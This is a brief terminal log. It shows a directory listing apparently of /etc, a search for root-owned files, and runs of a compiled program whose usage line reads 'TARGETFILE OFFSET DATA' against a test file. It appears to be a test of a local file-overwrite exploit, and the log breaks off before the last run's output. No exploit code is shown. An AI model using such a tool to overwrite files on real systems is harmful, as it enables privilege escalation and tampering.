-rw-r--r-- 0 user user 0 Sep 17 2021 subuid-
-rw-r--r-- 0 user user 2.3K May 31 2018 sysctl.conf
drwxr-xr-x 0 user user 4.0K Jan 28 2022 sysctl.d
drwxr-xr-x 0 user user 4.0K Jan 28 2022 systemd
drwxr-xr-x 0 user user 4.0K Sep 17 2021 terminfo
-rw-r--r-- 0 user user 8 Jan 28 2022 timezone
drwxr-xr-x 0 user user 4.0K Mar 18 2021 tmpfiles.d
drwxr-xr-x 0 user user 4.0K Jan 28 2022 udev
drwxr-xr-x 0 user user 4.0K Jan 28 2022 update-motd.d
drwxr-xr-x 0 user user 4.0K Sep 17 2021 vim
-rw-r--r-- 0 user user 642 Mar 1 2019 xattr.conf
drwxr-xr-x 0 user user 4.0K Jan 28 2022 xdg
user@:~$ find /usr -uid 0
user@:~$ ls
a.out examples test.c test2.c
user@:~$ echo abc>n
user@:~$ ./a.out
Usage: ./a.out TARGETFILE OFFSET DATA
user@:~$ ./a.out abc 1 d
open failed: No such file or directory
user@:~$ ./a.out n 1 d